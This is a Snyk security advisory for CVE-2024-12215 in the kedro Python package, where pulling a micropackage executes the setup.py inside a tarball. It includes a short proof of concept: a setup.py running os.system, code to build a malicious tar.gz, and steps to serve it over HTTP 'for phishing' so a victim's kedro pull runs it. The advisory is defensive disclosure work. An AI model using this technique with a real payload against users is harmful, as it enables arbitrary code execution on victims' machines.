Unsafe Dependency Resolution Affecting kedro package, versions [0.18.11,1.0.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.44% (63rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-KEDRO-9508726
  • published21 Mar 2025
  • disclosed20 Mar 2025
  • creditPeng Zhou

Introduced: 20 Mar 2025

CVE-2024-12215  (opens in a new tab)
CWE-829  (opens in a new tab)

How to fix?

Upgrade kedro to version 1.0.0 or higher.

Overview

kedro is a Kedro helps you build production-ready data and analytics pipelines

Affected versions of this package are vulnerable to Unsafe Dependency Resolution via the pull_package API function. An attacker can execute arbitrary commands on the victim's machine by exploiting the project_wheel_metadata function to execute the setup.py file inside the tar file.

Note:

This vulnerability bypasses the protections newly implemented through the safe_extract() function.

PoC

  1. Write a setup.py file:
from setuptools import setup
import os

os.system("touch /tmp/hacked") setup(name = "mytest", version = "1.0")

  1. Make a hacked.tar.gz file using the following Python code:
import tarfile

def change_name(tarinfo): tarinfo.name = "./" + tarinfo.name return tarinfo

with tarfile.open("hacked.tar.gz", "w:gz") as tar: tar.add("setup.py", filter=change_name)

  1. Run the command python -m http.server to serve this malicious hacked.tar.gz at URL http://192.168.3.153:8000/hacked.tar.gz for phishing.

  2. The victim runs kedro micropkg pull http://192.168.3.153:8000/hacked.tar.gz and then the illegal file /tmp/hacked has been created at the victim's local file system.

CVSS Base Scores

version 4.0
version 3.1